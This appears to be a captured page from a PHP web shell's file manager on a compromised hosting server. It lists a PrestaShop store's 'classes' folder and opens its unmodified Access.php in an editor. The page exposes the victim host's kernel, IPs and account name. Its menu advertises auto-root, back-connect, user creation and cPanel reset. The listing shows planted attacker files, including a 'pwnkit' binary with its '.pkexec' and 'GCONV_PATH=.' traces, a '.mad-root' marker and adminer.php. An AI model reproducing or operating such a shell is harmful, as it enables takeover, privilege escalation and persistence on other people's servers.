Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwx---r-x
cache
[ DIR ]
drwx---r-x
checkout
[ DIR ]
drwx---r-x
container
[ DIR ]
drwx---r-x
controller
[ DIR ]
drwx---r-x
db
[ DIR ]
drwx---r-x
exception
[ DIR ]
drwx---r-x
form
[ DIR ]
drwx---r-x
helper
[ DIR ]
drwx---r-x
lang
[ DIR ]
drwx---r-x
log
[ DIR ]
drwx---r-x
module
[ DIR ]
drwx---r-x
order
[ DIR ]
drwx---r-x
pdf
[ DIR ]
drwx---r-x
product
[ DIR ]
drwx---r-x
proxy
[ DIR ]
drwx---r-x
range
[ DIR ]
drwx---r-x
shop
[ DIR ]
drwx---r-x
stock
[ DIR ]
drwx---r-x
tax
[ DIR ]
drwx---r-x
tree
[ DIR ]
drwx---r-x
webservice
[ DIR ]
drwx---r-x
.htaccess
170
B
-rw----r--
.mad-root
0
B
-rw-r--r--
Access.php
13.2
KB
-rw----r--
Address.php
20.13
KB
-rw----r--
AddressChecksumCore.php
1.7
KB
-rw----r--
AddressFormat.php
25.62
KB
-rw----r--
Alias.php
5.03
KB
-rw----r--
Attachment.php
7.91
KB
-rw----r--
Attribute.php
13.47
KB
-rw----r--
AttributeGroup.php
13.32
KB
-rw----r--
CMS.php
11.41
KB
-rw----r--
CMSCategory.php
24.09
KB
-rw----r--
CMSRole.php
1.78
KB
-rw----r--
CSV.php
3.04
KB
-rw----r--
Carrier.php
61.57
KB
-rw----r--
Cart.php
212.71
KB
-rw----r--
CartRule.php
88.48
KB
-rw----r--
Category.php
84.77
KB
-rw----r--
Chart.php
4.16
KB
-rw----r--
ChecksumInterface.php
1.13
KB
-rw----r--
Combination.php
14.5
KB
-rw----r--
Configuration.php
26.03
KB
-rw----r--
ConfigurationKPI.php
8.64
KB
-rw----r--
ConfigurationTest.php
11.92
KB
-rw----r--
Connection.php
10.31
KB
-rw----r--
ConnectionsSource.php
5.72
KB
-rw----r--
Contact.php
3.77
KB
-rw----r--
Context.php
13.8
KB
-rw----r--
Cookie.php
16.42
KB
-rw----r--
Country.php
16.12
KB
-rw----r--
Currency.php
35.48
KB
-rw----r--
Curve.php
2.42
KB
-rw----r--
Customer.php
46.67
KB
-rw----r--
CustomerAddress.php
1.26
KB
-rw----r--
CustomerMessage.php
5.71
KB
-rw----r--
CustomerSession.php
2.31
KB
-rw----r--
CustomerThread.php
9.63
KB
-rw----r--
Customization.php
13.35
KB
-rw----r--
CustomizationField.php
2.72
KB
-rw----r--
DateRange.php
2.47
KB
-rw----r--
Delivery.php
3.24
KB
-rw----r--
Dispatcher.php
43.1
KB
-rw----r--
Employee.php
22.1
KB
-rw----r--
EmployeeSession.php
2.32
KB
-rw----r--
Feature.php
11.16
KB
-rw----r--
FeatureValue.php
8.02
KB
-rw----r--
FileUploader.php
3.54
KB
-rw----r--
Gender.php
2.71
KB
-rw----r--
Group.php
14.51
KB
-rw----r--
GroupReduction.php
9.84
KB
-rw----r--
Guest.php
7.9
KB
-rw----r--
Hook.php
42.13
KB
-rw----r--
Image.php
28.51
KB
-rw----r--
ImageManager.php
23.98
KB
-rw----r--
ImageType.php
6.94
KB
-rw----r--
Language.php
57.96
KB
-rw----r--
Link.php
56.55
KB
-rw----r--
LocalizationPack.php
25.19
KB
-rw----r--
Mail.php
31.22
KB
-rw----r--
Manufacturer.php
20.82
KB
-rw----r--
ManufacturerAddress.php
1.28
KB
-rw----r--
Media.php
34.44
KB
-rw----r--
Message.php
6.26
KB
-rw----r--
Meta.php
17.97
KB
-rw----r--
Notification.php
7.42
KB
-rw----r--
ObjectModel.php
75.02
KB
-rw----r--
Pack.php
22.78
KB
-rw----r--
Page.php
4.48
KB
-rw----r--
PaymentFree.php
1.25
KB
-rw----r--
PaymentModule.php
59.53
KB
-rw----r--
PhpEncryption.php
3.39
KB
-rw----r--
PhpEncryptionEngine.php
4.26
KB
-rw----r--
PhpEncryptionLegacyEngine.php
4.77
KB
-rw----r--
PrestaShopAutoload.php
12.25
KB
-rw----r--
PrestaShopBackup.php
12.07
KB
-rw----r--
PrestaShopCollection.php
21.07
KB
-rw----r--
PrestaShopLogger.php
6.5
KB
-rw----r--
Product.php
269.79
KB
-rw----r--
ProductAssembler.php
3.37
KB
-rw----r--
ProductDownload.php
9.77
KB
-rw----r--
ProductPresenterFactory.php
3.6
KB
-rw----r--
ProductSale.php
12.7
KB
-rw----r--
ProductSupplier.php
8.76
KB
-rw----r--
Profile.php
7.56
KB
-rw----r--
QqUploadedFileForm.php
4.93
KB
-rw----r--
QqUploadedFileXhr.php
5.56
KB
-rw----r--
QuickAccess.php
4.65
KB
-rw----r--
Referrer.php
17.45
KB
-rw----r--
RequestSql.php
20.14
KB
-rw----r--
Risk.php
2.36
KB
-rw----r--
Search.php
51.05
KB
-rw----r--
SearchEngine.php
2.79
KB
-rw----r--
SpecificPrice.php
30.68
KB
-rw----r--
SpecificPriceRule.php
13.67
KB
-rw----r--
State.php
7.38
KB
-rw----r--
Store.php
6.25
KB
-rw----r--
Supplier.php
17.66
KB
-rw----r--
SupplierAddress.php
1.27
KB
-rw----r--
Tab.php
21.37
KB
-rw----r--
Tag.php
11.66
KB
-rw----r--
Tools.php
144.64
KB
-rw----r--
Translate.php
13.81
KB
-rw----r--
TranslatedConfiguration.php
4.56
KB
-rw----r--
Upgrader.php
11.54
KB
-rw----r--
Uploader.php
11.41
KB
-rw----r--
Validate.php
34.53
KB
-rw----r--
ValidateConstraintTranslator.p...
2.55
KB
-rw----r--
WarehouseAddress.php
1.27
KB
-rw----r--
Windows.php
1.34
KB
-rw----r--
Zone.php
3.4
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Access.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ /** * Class AccessCore. */ class AccessCore extends ObjectModel { /** @var int Profile id which address belongs to */ public $id_profile = null; /** @var int AuthorizationRole id which address belongs to */ public $id_authorization_role = null; /** * @see ObjectModel::$definition */ public static $definition = [ 'table' => 'access', 'primary' => 'id_profile', 'fields' => [ 'id_profile' => ['type' => self::TYPE_INT, 'validate' => 'isNullOrUnsignedId', 'copy_post' => false], 'id_authorization_role' => ['type' => self::TYPE_INT, 'validate' => 'isNullOrUnsignedId', 'copy_post' => false], ], ]; /** * Is access granted to this Role? * * @param string $role Role name ("Superadministrator", "sales", "translator", etc.) * @param int $idProfile Profile ID * * @return bool Whether access is granted * * @throws Exception */ public static function isGranted($role, $idProfile) { foreach ((array) $role as $currentRole) { preg_match( '/ROLE_MOD_(?P<type>[A-Z]+)_(?P<name>[A-Z0-9_]+)_(?P<auth>[A-Z]+)/', $currentRole, $matches ); if (isset($matches['type']) && $matches['type'] == 'TAB') { $joinTable = _DB_PREFIX_ . 'access'; } elseif (isset($matches['type']) && $matches['type'] == 'MODULE') { $joinTable = _DB_PREFIX_ . 'module_access'; } else { throw new Exception('The slug ' . $currentRole . ' is invalid'); } $currentRole = Db::getInstance()->escape($currentRole); $isCurrentGranted = (bool) Db::getInstance()->getRow(' SELECT t.`id_authorization_role` FROM `' . _DB_PREFIX_ . 'authorization_role` t LEFT JOIN ' . $joinTable . ' j ON j.`id_authorization_role` = t.`id_authorization_role` WHERE `slug` = "' . $currentRole . '" AND j.`id_profile` = "' . (int) $idProfile . '" '); if (!$isCurrentGranted) { return false; } } return true; } /** * Get all roles for the Profile ID. * * @param int $idProfile Profile ID * * @return array Roles */ public static function getRoles($idProfile) { $idProfile = (int) $idProfile; $accesses = Db::getInstance()->executeS(' SELECT r.`slug` FROM `' . _DB_PREFIX_ . 'authorization_role` r INNER JOIN `' . _DB_PREFIX_ . 'access` a ON a.`id_authorization_role` = r.`id_authorization_role` WHERE a.`id_profile` = "' . $idProfile . '" '); $accessesFromModules = Db::getInstance()->executeS(' SELECT r.`slug` FROM `' . _DB_PREFIX_ . 'authorization_role` r INNER JOIN `' . _DB_PREFIX_ . 'module_access` ma ON ma.`id_authorization_role` = r.`id_authorization_role` WHERE ma.`id_profile` = "' . $idProfile . '" '); $roles = array_merge($accesses, $accessesFromModules); foreach ($roles as $key => $role) { $roles[$key] = $role['slug']; } return $roles; } /** * Find Tab ID by slug. * * @param string $authSlug Slug * * @return string Tab ID * @todo: Find out if we should return an int instead. (breaking change) */ public static function findIdTabByAuthSlug($authSlug) { preg_match( '/ROLE_MOD_[A-Z]+_(?P<classname>[A-Z]+)_(?P<auth>[A-Z]+)/', $authSlug, $matches ); $result = Db::getInstance()->getRow(' SELECT `id_tab` FROM `' . _DB_PREFIX_ . 'tab` WHERE UCASE(`class_name`) = "' . $matches['classname'] . '" '); return $result['id_tab']; } /** * Find slug by Tab ID. * * @param int $idTab Tab ID * * @return string Full module slug */ public static function findSlugByIdTab($idTab) { $result = Db::getInstance()->getRow(' SELECT `class_name` FROM `' . _DB_PREFIX_ . 'tab` WHERE `id_tab` = "' . (int) $idTab . '" '); return self::sluggifyTab($result); } /** * Find slug by Parent Tab ID. * * @param int $idParentTab Tab ID * * @return string Full module slug */ public static function findSlugByIdParentTab($idParentTab) { return Db::getInstance()->executeS(' SELECT `class_name` FROM `' . _DB_PREFIX_ . 'tab` WHERE `id_parent` = "' . (int) $idParentTab . '" '); } /** * Find slug by Module ID. * * @param int $idModule Module ID * * @return string Full module slug */ public static function findSlugByIdModule($idModule) { $result = Db::getInstance()->getRow(' SELECT `name` FROM `' . _DB_PREFIX_ . 'module` WHERE `id_module` = "' . (int) $idModule . '" '); return self::sluggifyModule($result); } /** * Sluggify tab. * * @param string $tab Tab class name * @param string $authorization 'CREATE'|'READ'|'UPDATE'|'DELETE' * * @return string Full slug for tab */ public static function sluggifyTab($tab, $authorization = '') { return sprintf('ROLE_MOD_TAB_%s_%s', strtoupper($tab['class_name']), $authorization); } /** * Sluggify module. * * @param string $module Module name * @param string $authorization 'CREATE'|'READ'|'UPDATE'|'DELETE' * * @return string Full slug for module */ public static function sluggifyModule($module, $authorization = '') { return sprintf('ROLE_MOD_MODULE_%s_%s', strtoupper($module['name']), $authorization); } /** * Get legacy authorization. * * @param string $legacyAuth Legacy authorization * * @return bool|string|array Authorization */ public static function getAuthorizationFromLegacy($legacyAuth) { $auth = [ 'add' => 'CREATE', 'view' => 'READ', 'edit' => 'UPDATE', 'configure' => 'UPDATE', 'delete' => 'DELETE', 'uninstall' => 'DELETE', 'duplicate' => ['CREATE', 'UPDATE'], 'all' => ['CREATE', 'READ', 'UPDATE', 'DELETE'], ]; return isset($auth[$legacyAuth]) ? $auth[$legacyAuth] : false; } /** * Add access. * * @param int $idProfile Profile ID * @param int $idRole Role ID * * @return string Whether access has been successfully granted ("ok", "error") */ public function addAccess($idProfile, $idRole) { $sql = ' INSERT IGNORE INTO `' . _DB_PREFIX_ . 'access` (`id_profile`, `id_authorization_role`) VALUES (' . (int) $idProfile . ',' . (int) $idRole . ') '; return Db::getInstance()->execute($sql) ? 'ok' : 'error'; } /** * Remove access. * * @param int $idProfile Profile ID * @param int $idRole Role ID * * @return string Whether access has been successfully removed ("ok", "error") */ public function removeAccess($idProfile, $idRole) { $sql = ' DELETE FROM `' . _DB_PREFIX_ . 'access` WHERE `id_profile` = "' . (int) $idProfile . '" AND `id_authorization_role` = "' . (int) $idRole . '" '; return Db::getInstance()->execute($sql) ? 'ok' : 'error'; } /** * Add module access. * * @param int $idProfile Profile ID * @param int $idRole Role ID * * @return string Whether module access has been successfully granted ("ok", "error") */ public function addModuleAccess($idProfile, $idRole) { $sql = ' INSERT IGNORE INTO `' . _DB_PREFIX_ . 'module_access` (`id_profile`, `id_authorization_role`) VALUES (' . (int) $idProfile . ',' . (int) $idRole . ') '; return Db::getInstance()->execute($sql) ? 'ok' : 'error'; } /** * @param int $idProfile * @param int $idRole * * @return string 'ok'|'error' */ public function removeModuleAccess($idProfile, $idRole) { $sql = ' DELETE FROM `' . _DB_PREFIX_ . 'module_access` WHERE `id_profile` = "' . (int) $idProfile . '" AND `id_authorization_role` = "' . (int) $idRole . '" '; return Db::getInstance()->execute($sql) ? 'ok' : 'error'; } /** * Update legacy access. * * @param int $idProfile Profile ID * @param int $idTab Tab ID * @param string $lgcAuth Legacy authorization * @param int $enabled Whether access should be granted * @param int $addFromParent Child from parents * * @return string Whether legacy access has been successfully updated ("ok", "error") * * @throws Exception */ public function updateLgcAccess($idProfile, $idTab, $lgcAuth, $enabled, $addFromParent = 0) { $idProfile = (int) $idProfile; $idTab = (int) $idTab; if ($idTab == -1) { $slug = 'ROLE_MOD_TAB_%_'; } else { $slug = self::findSlugByIdTab($idTab); } $whereClauses = []; foreach ((array) self::getAuthorizationFromLegacy($lgcAuth) as $auth) { $slugLike = Db::getInstance()->escape($slug . $auth); $whereClauses[] = ' `slug` LIKE "' . $slugLike . '"'; } if ($addFromParent == 1) { foreach (self::findSlugByIdParentTab($idTab) as $child) { $child = self::sluggifyTab($child); foreach ((array) self::getAuthorizationFromLegacy($lgcAuth) as $auth) { $slugLike = Db::getInstance()->escape($child . $auth); $whereClauses[] = ' `slug` LIKE "' . $slugLike . '"'; } } } $roles = Db::getInstance()->executeS(' SELECT `id_authorization_role` FROM `' . _DB_PREFIX_ . 'authorization_role` t WHERE ' . implode(' OR ', $whereClauses) . ' '); if (empty($roles)) { throw new \Exception('Cannot find role slug'); } $res = []; foreach ($roles as $role) { if ($enabled) { $res[] = $this->addAccess($idProfile, $role['id_authorization_role']); } else { $res[] = $this->removeAccess($idProfile, $role['id_authorization_role']); } } return in_array('error', $res) ? 'error' : 'ok'; } /** * Update (legacy) Module access. * * @param int $idProfile Profile ID * @param int $idModule Module ID * @param string $lgcAuth Legacy authorization * @param int $enabled Whether module access should be granted * * @return string Whether module access has been succesfully changed ("ok", "error") */ public function updateLgcModuleAccess($idProfile, $idModule, $lgcAuth, $enabled) { $idProfile = (int) $idProfile; $idModule = (int) $idModule; if ($idModule == -1) { $slug = 'ROLE_MOD_MODULE_%_'; } else { $slug = self::findSlugByIdModule($idModule); } $whereClauses = []; foreach ((array) self::getAuthorizationFromLegacy($lgcAuth) as $auth) { $slugLike = Db::getInstance()->escape($slug . $auth); $whereClauses[] = ' `slug` LIKE "' . $slugLike . '"'; } $roles = Db::getInstance()->executeS(' SELECT `id_authorization_role` FROM `' . _DB_PREFIX_ . 'authorization_role` t WHERE ' . implode(' OR ', $whereClauses) . ' '); $res = []; foreach ($roles as $role) { if ($enabled) { $res[] = $this->addModuleAccess($idProfile, $role['id_authorization_role']); } else { $res[] = $this->removeModuleAccess($idProfile, $role['id_authorization_role']); } } return in_array('error', $res) ? 'error' : 'ok'; } }
Close